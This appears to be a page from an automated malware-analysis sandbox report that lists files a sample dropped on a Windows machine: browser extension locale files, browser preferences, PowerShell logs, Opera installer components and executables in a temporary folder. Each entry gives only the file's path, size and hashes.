SHA512 ff10ae14ce5f7ed9b0612006730f783e1033304e511ccf9de68caeb48cc54e333c034f14cac63c3ea07c84a8f0f51c7f929b11d110913fa352562d43947798b5
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_TO\messages.json
Size 2.1MB
SHA256 6966d30cdc0bfff4da657fbe50b95551b5d5e5dd31a46871be0d2f7ea7ad7489
MD5 5851295d71b2f8df5fb1e7752e0fd25e
SHA1 e5341e2f6cc14049ff2e230fc094c6ed986efafb
SHA512 829cff80caf44ec0989490ffba24908b8d74855fe07093d614d11e41d2fe9fd74e315cc84d7d14bdc79d30713e6300b8cc53697c426ea75e90f70c4acb4ecbbe
SSDEEP 24576:HDTJ+j3lUMA7PsjwNZx+9O0sx3JxBX/+077fJ78SLJssxrw0QMxGV+wV5NtOXGqI:21
MD5 SHA1 SHA512 SSDEEP

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\et\messages.json
Size 161B
SHA256 ff9d868d50e291be9759e78316c062a0ec9bcbbb7c83b8e2af49a177dda96b22
MD5 4ebb37531229417453ad13983b42863f
SHA1 8fe20e60d10ce6ce89b78be39d84e3f5210d8ecd
SHA512 4b7987c2fb755bbc51d5a095be44457f0188b29964e9820156903d738398d2b7f2c95629a40abdca016e46cad22a99c35039ee784c01860dab44f4b7d02a5980
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fi\messages.json
Size 151B
SHA256 6e13de5626ff0cb1c1f23b3dde137fcfc82f3420e88689b9e8d077ab356122ac
MD5 0c79b671cd5e87d6420601c00171036c
SHA1 8c87227013aca9d5b9a3ed53a901b6173e14b34b
SHA512 bf956a7627feced1f6dba62fcfc0839a32573c38de71a420e748ce91e2a5e4f93dab67405174ba0d098ea7c1f66fb49b5a80d4f5d1ddc0fc2b08d033656d0e25
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fr\messages.json
Size 154B
SHA256 8f4ed00e79b8e990a32282eea13f8e1d0faa9cf8b21168643455b206e4e3d08c
MD5 6a9c08aa417b802029eb5e451dfb2ffa
SHA1 f54979659d56a77afab62780346813293ad7247b
SHA512 b5a504b5559d0e955a5a3cf2e0ae37a64cdad75aaa7c82d01757d4a2f541026dbfb1cb8373c932a0e003f1951e88e2f5a3fb7fc9992d67388f7184f00a8c1402
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\hu\messages.json
Size 161B
SHA256 b4b490e4fe6eb83b9e54f84c9f50e83866e78d0394bcb03353c6e61f76d1ac34
MD5 eec60f64bdaa23d9171e3b7667ecdcf9
SHA1 9b1a03ad7680516e083c010b8a2c6562f261b4bb
SHA512 c0dda2afcaae5e44eda8462dc8536c4507c1087fc54b18fb40c2894784776cab46b1d383c3113c0e106612efe71b951672deecc01b0447956e1dced93cca42b4
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\it\messages.json
Size 144B
SHA256 d6a6b8bb2706268726346d7cf12e2bc1e55dd9d730093de89d8962293b769cc0
MD5 1c49f2f8875dcf0110675ead3c0c7930
SHA1 2124a6ac688001ba65f29df4467f3de9f40f67b2
SHA512 ab0da2797705a043fd4dfe5bd98c3d2a47d596ac9ac5edeaa709969615c4dab0514d83ae5a1ef226989c05e4603d614d0a22f70931c73216c36f6b493e5acc3f
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\lt\messages.json
Size 160B
SHA256 e01b215a6ef7446522b2701fc72888944d551627a331a6378a5a0b5c402fdc65
MD5 f46a2ab198f038019413c13590555275
SHA1 160b9817b28d3539396399aa02937d3e2f4796ac
SHA512 5834ec16be2e3c7a6dc39d038d58a07adf5e842581fff80da92fe5b2c769e8e7db6f3dd69a90e5702535f5dfd6ab2787251dcfd0a0649149ab606f02c40e8c33
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\lv\messages.json
Size 160B
SHA256 1ac599594e814cd69a4c7a8180d75fc8aad9c9af54e9411611b3c03a82947ef4
MD5 b676b28af1bc779eb07f2ad6fee4ec50
SHA1 36f12feab6b68357282fc4f9358d9e2a6510661a
SHA512 d982861de053e3225af04377134013d596b1dc069d7faf27e087e19680b575af744a4d8bc8b32f858ed0e69a26527be3df1cd006da78695fbea3595c4259ee1b
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\mk\messages.json
Size 190B
SHA256 315e5ab70774f9b8247d3eae0a58e15bd3a32f8202e1f1b8ed90c2b2e633d865
MD5 616866b2924c40fda0a60b7988a1c564
SHA1 ca4750a620dac04eae8ff3c95df6fd92b35c62a7
SHA512 1fd19fd12c471f3b410fbe5dd39bee52795735985655840cb73ba2191a782c822253fe2e5d6fe7548d9e4f1d735845f07b5babed5141ca801ada60052a5fd8a3
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\nl\messages.json
Size 152B
SHA256 5895554b39c229627fdd2440f51ee87a6505056bde8e008746682738c42a307e
MD5 cb5f1996eceef89fb28c02b7eac74143
SHA1 df757b1cd3b24745d1d6fdb8538ceba1adf33e3e
SHA512 667257911527d27d590b7940ed4ce687465d59ec8fca9d6aa06529a55a3e8139488745c13d77c92af8f94aa1908e5dcef941f0a23544d13529c66d38b25883c5
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\no\messages.json
Size 143B
SHA256 1dcd3f41f085df98beea4609c2a3c07f2796e909c8bb342225d0c14a2e37d32a
MD5 43f1d4d731e2ab85a2fb653c63b4326e
SHA1 94f7d16dcf66186b6f40d73575c4a1942d5ca700
SHA512 ec9473a8a06090167b727b923c745f58a59bd76fe2cf259d7b1603468c5bfe2eb3827e67c0247d9e5a6742ee06ac7558b8532bacc1519215d953ec529b1b3e43
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\ru\messages.json
Size 204B
SHA256 c28dbe7f5b5e95ecbeda2fbd517dab12e51810ae1e76079c2bcfd7738b7ae24c
MD5 f0f33cfa8b275803c1c69cc2e8c58b98
SHA1 653b3e8ee7199e614b25128e7f28e14bf8fd02cb
SHA512 1ee8d9015ffb5c68ce322b69e8f90454239385133a1ed123e9d4f0841eec92012e0dbffe64c9f2ebb60fd5efc6e1525be0491a7433b0a5b184af3fb44e1a60c5
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sk\messages.json
Size 161B
SHA256 ee50762de69cb198e12982c1871ee4e7aaf1588b2dde683fe3946825c95adc73
MD5 b1eb0ab05de1272667be2558dea84951
SHA1 dfa723146cba15c190cf19fb3d7c84ffa12cd302
SHA512 af110a7bc225c656e0a97c36555d67f3d0fb5884b8e2c9ab7565e5faa7987781fbf42e8020e30771b997aaba05540a2fa2eeb6c31798d275435c85e69014f546
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sl\messages.json
Size 145B
SHA256 5d12f8f83c157b62c22ccf5d66789855f9e08f63ca19890318ed3c6a9501538f
MD5 816d952fe0f9413e294b84829d5a6b96
SHA1 cfd774e6afe6e04158cc95bab0857a5e52251581
SHA512 dccf1e19401e2a7b1ce2f81d221da78b939e3912455a145baf4f4867e1e9c8c39136a70f7cd34d5c9f2cd22e87223a9246803b4c853f4736cb050554a56b1b83
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sq\messages.json
Size 154B
SHA256 22737aee22639043d8ab244e633a42e37e6ac7cccd2e4103b9f8fccfbcecd0d6
MD5 a84d08782b2ff6f733b5b5c73ca3ce67
SHA1 c3ee1bbc80a21d5c6618b08df3618f60f4df8847
SHA512 436b6bca82272f918341bf2ab673a101c106e048859a4cd204bf83313588d2e9db30c4b3a8b7053544305b3f7a6b905a6c35c226923eb93ca3d55e8a128fc1f5
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\sv\messages.json
Size 147B
SHA256 d41042f78b7838b63ae141da4f4a7f67ea3f8e0fab66ea5111a1482867cf6e2f
MD5 66cf0340cf41d655e138bc23897291d3
SHA1 fff7a2a8b7b5e797b00078890ec8a9e0ddec503d
SHA512 6411dea0ac928463317ad3ef418ac2f01e8621f64e024cb43fab52b132e08c7aa205ffc97e99f31b8dd824d19a403e7befbf7848e4421f031ed0a0b9b12e2c52
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\tr\messages.json
Size 156B
SHA256 606c5c1d88157b4eed536e26d14f456ca05b3fdf5f30d1e0e30a52aaf2bbbf37
MD5 e5c0575e52973721b39f356059298970
SHA1 b6d544b4fc20e564bd48c5a30a18f08d34377b13
SHA512 dba47859af5e2462b6da0b397f333825704bd75a3453d3d86eee2a35a7c6535d290c240b0e6a85b9d472d0d952aa9cd48c6e3af7c79c02e0f09f6e9932c146dd
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\uk\messages.json
Size 208B
SHA256 1faeed8ec9ba451ee06b42999695771fd8a400dd6e3a699b755824830852e4a0
MD5 01f32be832c8c43f900f626d6761bbaa
SHA1 3e397891d173d67daa01216f91bd35ba12f3f961
SHA512 9db085d75fb794c20df7060f603a7ac34481de3ae00f1260cc8e5a8a510234f383f71a85db48b6e2d8f2042646c08dd93a91a39ffe990f660f3cb9147fa4d42a
MD5 SHA1 SHA512

Submit Download

ficon128.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\ficon128.png
Size 4KB
SHA256 6d38e0be2e6c189de3e4d739bae9986ee365a33baf99a9234e5c9effb44b791a
MD5 d2cec80b28b9be2e46d12cfcbcbd3a52
SHA1 2fdac2e9a2909cfdca5df717dcc36a9d0ca8396a
SHA512 89798889d41cfc687a31c820aea487722b04ea40f7fd07ce899a0e215b7b1703380188ba103825a4b863f8cbca76430bfc437705630f0bfcaffd50a78c2bb295
SSDEEP 96:oSu1bZFj7Yc0jwjB366savGst6Fu3lUPH0AETYRgRY5Ib1zOgvAZhhx9CE1KVK8Q:oSu9ZuFS16navGstqeKH0RtIk16gIZ9r
MD5 SHA1 SHA512 SSDEEP

Submit Download

icon128.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon128.png
Size 3KB
SHA256 2f5282c25c8829a21a79a120e3b097e5316ddbd0f866508b82e38766c7844dba
MD5 77fbb02714eb199614d1b017bf9b3270
SHA1 48149bbf82d472c5cc5839c3623ee6f2e6df7c42
SHA512 ff5078d585a1ab3bd4e36e29411376537650acbcb937fdad9ac485a9dd7bcb0f593cc76672572a465eb79894ab6b2eddd6a3da21c165ab75c90df020d3e42823
MD5 SHA1 SHA512

Submit Download

icon16.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon16.png
Size 2KB
SHA256 61b02a1fca992be08f1a3df547b29b424767d94702e4d99129c2f1ca2e67a113
MD5 b307bd8d7f1320589cac448aa70ddc50
SHA1 aaed2bfa8275564ae9b1307fa2f47506c1f6eccf
SHA512 74883fec0c94233231d17461f36e9a5e99cd4e8c2726a918519a8025cb75aaaab92a8dee612470cc4e3cc361fc0c12f5778e016b1570792ac3f4bf0b3bcfb103
MD5 SHA1 SHA512

Submit Download

icon48.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\icons\icon48.png
Size 3KB
SHA256 e7cf247ccb1b365cd7a14fadd85686b83a9e7b7728590547b8466cafcea757ee
MD5 49443c42dcbe73d2ccf893e6c785be7f
SHA1 3a671dcb2453135249dcc919d11118f286e48efc
SHA512 c98af48fcd71c59a8e76e74b5268e26ad8b3db9cb80edf0517b70bb4476881cbb4ec55b9c3fd858925ef2f2889679db81190a07b4fd7088179e74f1434cac678
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json
Size 758B
SHA256 e9405d2b0eaa6bb94d97c2aebdf688a67f739af1f54de3d4fff9593eb09e5fae
MD5 b6fbb72ac3f9b9838942adbb90dafc98
SHA1 804f2111292c3051c4c91d527279706d33044745
SHA512 4cac05e1151c3ef0214202336c5ba095a0abc44499b4faba83e8696e9cf4d2706c1079dd8d99aaf312a25c2ed2b87fdc8adbc217814a304c999b6db14b6a6e42
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 9dc7d6d01280b409d51def0d93846212dfdacb64ce2ca365c6775d70608d0baa
MD5 cac8d576ff3d03acec6066a1475b185b
SHA1 a8432afcdf9a800cee38a4e98becb194cd827e7a
SHA512 c9d0337360769f0b708205660c37a5ef582e0e17b14818fad23e7a69a20e3c216cfafe5fd3ad19a5393c2fadd165db1690c7a19e4899d8ee33b631887d386bb5
SSDEEP 96:mMOS27VT+a5XqkazjS3ZpoF0ROaYwxj/GL2MVQrZu/VcOMXEvr04SO5zNOUMeG6f:mlvY/wuiROLl9dSbWukfVEO9teOg4X
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 23f0ca5f1e63139addd6b4f5ce986d11513243f25cbb4962baf910c761159d99
MD5 861ea376c1b9d37646c603a2c12169ee
SHA1 a1eee4f23da13175474ee60681bae148891c9443
SHA512 b468d72e8b91ce410dad58cedb64e77dc44d877555bc648e2bca5a8818945c7b8425c41488b474287026adf99a5085a1e391346d5a1a4f3d67f7cd750673351d
SSDEEP 96:mMOS27VT+a5XqkazjK3ZpoF0ROaYwxj/GL2MVQrZu/VcOMXEvr04SO5zNOUMeG6f:mlvY/ouiROLl9dSbWukfVEO9teOg4X
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 36KB
SHA256 8652d182b5a84a5023af333bf1412806c8eeb4d4bc83610973eda3c1059e7907
MD5 285843e0bdd54e940b6bb884a9b28f53
SHA1 b138924986138114d8398ef383ff913fc95b2c43
SHA512 f390bbcac0cf29373371ebde07eb5186e2eddef0de15bf0ff4a8a6d4ee2ab9e3f42494fa7f961e593bdff4c35fa5fc7660db241d3c5c6cdc3de15d773d3ab415
SSDEEP 768:iutOtQCdLRLUtu6ja7SuLr9gtnA8xP7kxRK1rLkop1Ck3htzIw:iutOKCJtUQIlJp1CyjIw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 36KB
SHA256 74434a3e822d78e941e5ae68ae304457f2d59896fb9f2bcc0f4db4b2442dd9d9
MD5 78aa1e0f9cae78ed8bbe9accb8549cfe
SHA1 38f8c0d7e12ea9fa6809ebd5581026d22ed28273
SHA512 e318b7759765659839ce9e44d4900781e987e716d8f8baf20ed0ca678fab5ce2fe1050084ae9cff6a374dfdd6e109c5aa47287b26a53437f537bdf4e45648eaa
SSDEEP 768:iutOtnCdLRLUtu6ja7SuLr9gtnA8xP7kxRK1rLkop1Ck3StzIv:iutOVCJtUQIlJp1CyoIv
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
MD5 d0c46cad6c0778401e21910bd6b56b70
SHA1 7be418951ea96326aca445b8dfe449b2bfa0dca6
SHA512 057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 91d1360a278a381df06ffc36dc21620e00ddfb1bf89a90d4210caae8a7dcba64
MD5 ea2b171ceed039c5346e7758ccad42b1
SHA1 c92e6711783a7b0ad2de734c637ebc32dad5d3f2
SHA512 104f397b751b7e9803cb3df65a8542309491acbe349384dbaf10ddd1954e3d77f3e9c4966f56298e21440b8c3ffe88faaf4bf709cceab6fb72c08f1226b9dc0d
SSDEEP 96:3x+W9UPQtsqJ3mdC/T+WPN+0KJGS0eXemI6/GL2MVQrZu6/VcOr04S35zOUMG6GU:39TNWCpsR1XeeGZSrWAt9YDyDn
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 50KB
SHA256 997ca1153ec365cd045c35373b959fa8fc34373f65e20f43340d816bb418ae83
MD5 26339d699812221f64c69f414cf313ff
SHA1 c8a15046d6ae375773d97c0995570a659d810e3b
SHA512 06a45f4dccca1e0a653309437de5c0462a6fb456fe55c5a09c5c67f52d9cb6676e160547b484dc05bc80a31eb45ce2defb03f4620b65c1194dc44086a90a9751
SSDEEP 768:iutOUC06eRUWbG8e1yiGkm3+93bsileXnC2b1p+8TebNa/7dwdqrg81Ck9PfQH:iutOUC06eRUWbG8e11iqajOd781CSfm
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 b6df524ef90a2bf83c766969413a96192f2b9bb26c93ed0680e6e4896b681d4d
MD5 e953f11078414fbfd9ad57e4de727534
SHA1 8f3f3c4af6b0bcf2f2785bc5f984dfaeeff7b37e
SHA512 00b8008c1ca50a1a7f4a9f31de205abbba270f40dc5093126a1606cdee7b803b6c92c33cad23deb2cd9a63a566af74754585f9cad717a758d1a29227a935d229
SSDEEP 384:5THhwwjS1M6nokRHEMEZLGHuPxKjQGIsLj5TsUjuNGy6vDXiJw2Oj9xFy:DJjSTokRPEE4xKjfIsL9TxuNF4DXim2H
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
MD5 2e8eb51096d6f6781456fef7df731d97
SHA1 ec2aaf851a618fb43c3d040a13a71997c25bda43
SHA512 0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2
MD5 SHA1 SHA512

Submit Download

Assistant_109.0.5097.45_Setup.exe_sfx.exe

Path C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
Size 2.5MB
SHA256 1521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8
MD5 15d8c8f36cef095a67d156969ecdb896
SHA1 a1435deb5866cd341c09e56b65cdda33620fcc95
SHA512 d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a
SSDEEP 49152:jp1cf3NHoGb3R8JKnU7WT33NQVcpYNUgPjkDEUua1qIiWJW4H:jrcPNHvGoYW33Y2gT1a1qEAA
MD5 SHA1 SHA512 SSDEEP

Submit Download

opera_package

Path C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\opera_package
Size 103.8MB
SHA256 7a01e11e1830ba3c154e5a6c383da15938b1e48f89a2fe4045cdd260924b6802
MD5 5014156e9ffbb75d1a8d5fc09fabdc42
SHA1 6968d1b5cec3039e53bbbedeee22e2d43d94c771
SHA512 bfc5c44881d0fa7bcbccfd530d874fa624adec50e1a16063a72de12876d2db10ca5edd6fa841ea63e9deca3ff2adf54065f50719fe051d41de92bb68edba4016
SSDEEP 3145728:BBFS7Vpknp2sTT4bt+vy45oRmdfAKLlEPE:Bza6p2sT8btA59dd5EPE
MD5 SHA1 SHA512 SSDEEP

Submit Download

2aaa693

Path C:\Users\Admin\AppData\Local\Temp\2aaa693
Size 1.4MB
SHA256 e5c878140a2608e899cd886537471e48b2acd3af2359d5cb14dbedff4d531561
MD5 641f753e9514b4f33a68e36bcb456f7c
SHA1 75cbe529391313344beefcba13505fe10f602fc2
SHA512 b3216d0f18ad13bdb94ab413bc6ccfec43de7b272b2cbb8dfcfb1261decbe1a5c2ae365295b646e2a6989d5ea4065ad665efe91449992da3237121c070da0105
SSDEEP 24576:sxOz8Ah1JtIInZroFr+FrI71CP8qnJgBBoZ6TSB2ZZIPudg:SOz8UtGEFS1CUic66TSYZPdg
MD5 SHA1 SHA512 SSDEEP

Submit Download

2i0x2ejd.dll

Path C:\Users\Admin\AppData\Local\Temp\2i0x2ejd\2i0x2ejd.dll
Size 6KB
SHA256 2fe84f2c54b4091d6f6ca187d6fd5b9ffb2d75000e74eaec91669e486adbf633
MD5 1dba63ad21fafbe98d7e2a4d6ed21d5f
SHA1 8b54cc624ac577f05e819a97141cf8ff9de2f6ff
SHA512 7781b2bc8c7f5d5a75be26f9458686bd8076883f7aa3aa841b07c475debbc5c3477efe25bd08a73f1ffb63f63224d757ec515970801a1c8d68af972c08be63e5
SSDEEP 96:awfxpFl4ujFdaqi7KFBE3MaGiHj8g0lFkYql9FAK:awx1Fw1KFBEcaGiqjkYqr
MD5 SHA1 SHA512 SSDEEP

Submit Download

ARP.EXE

Path C:\Users\Admin\AppData\Local\Temp\7zSA96F.tmp\ARP.EXE
Size 44KB
SHA256 733a75b43ec066455cd1db33c77f7a18dc4ba45686d20fba1b750e7f5856caa7
MD5 05ed92ac05830ba09526d6231d4e8b1a
SHA1 1e6aa5c9b9ef1b3a0d502ac9ba91497421da2116
SHA512 4ccc5832a116368cf67b3dc9cdea7acb47ccfa05411d5ca932acfdd1b4fa5f7b11c0e75af405cf2677a51189441eb7b1f2d507b7963e3ec847df221d6030525b
SSDEEP 384:wfMgzBSh6zuHkasb6STAr/aextOeILdvVngwoix66SmjLg5nWStmW:wV66q86S2lqdOtixrSmjE5J
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSA96F.tmp\Install.exe
Size 6.8MB
SHA256 f200984380d291051fc4b342641cd34e7560cadf4af41b2e02b8778f14418f50
MD5 e77964e011d8880eae95422769249ca4
SHA1 8e15d7c4b7812a1da6c91738c7178adf0ff3200f
SHA512 8feb3dc4432ec0a87416cbc75110d59efaf6504b4de43090fc90286bd37f98fc0a5fb12878bb33ac2f6cd83252e8dfd67dd96871b4a224199c1f595d33d4cade
SSDEEP 196608:UG0rMh5vMNSBl4rs5EiJlLMBiLPUGylg28X3:U5QSWmkEiJlLMY7UGU/8n
MD5 SHA1 SHA512 SSDEEP

Submit Download

appidpolicyconverter.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSA96F.tmp\appidpolicyconverter.exe
Size 152KB
SHA256 6b594b0e5fe197a67d966c812c6229e0f99fa665bd4c4f3a190ed536d37cb27a
MD5 670a933cb5c72952048ff28fe3f2f8db
SHA1 7164a88dc523bdb46f2c068d6753ee77f832f390
SHA512 ff256868e85355eacc5d617a05cdeb7488bdc758301f256c2385ea81a0fca1d7f2518f34cddbdaab3d11518f89e577b93486a4881df6da615a75557a79df1bd0
SSDEEP 3072:5z8HovO2mFvJESmeC9608TZ1hCdqn5P3h1URujKbMYYw9a6tIUXs7+eFkQoVhC8N:Roo2dFvJES69B8F1hnVURujKbMYYw9ah
MD5 SHA1 SHA512 SSDEEP

Submit Download

hh.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSA96F.tmp\hh.exe
Size 36KB
SHA256 0209f862aa595e9e155644830f380e9753dc58357967ef8252fa2fc7ea717c7e
MD5 6e4f49ac5d02b7517dce5a2777cfdbb1
SHA1 8e5f4a71774b6af0ecfb81ffa9b29d2e8efabe44
SHA512 094cc4e23c76ba7c77a14413c62ac1db0f13db7dafecc4bf166341fe60157e330d952d8a8800cedcf3bcd3025197aacd70bb09fb81cce950f86ba5eacacec5db
SSDEEP 192:oikEYaNKFFB4HvTeEkbvRcDXOgW63deOzGmOgKKE2cx/dZm5GJ1KDJD/YWcb:BIaNKFH4PTeRbQ+uevK6mI1KD2Wcb
MD5 SHA1 SHA512 SSDEEP

Submit Download

Opera_installer_2404231057318195008.dll

Path C:\Users\Admin\AppData\Local\Temp\Opera_installer_2404231057318195008.dll
Size 4.6MB
SHA256 bb38a8806705980ee3e9181c099e8d5c425e6c9505a88e5af538ca6a48951798
MD5 0415cb7be0361a74a039d5f31e72fa65
SHA1 46ae154436c8c059ee75cbc6a18ccda96bb2021d
SHA512 f71c2b9e1559aa4eb2d72f852ef9807c781d4a7b96b8e0c2c53b895885319146bd43aa6e4223d43159f3d40bc60704206404dc034500e47fca0a94e53b60239e
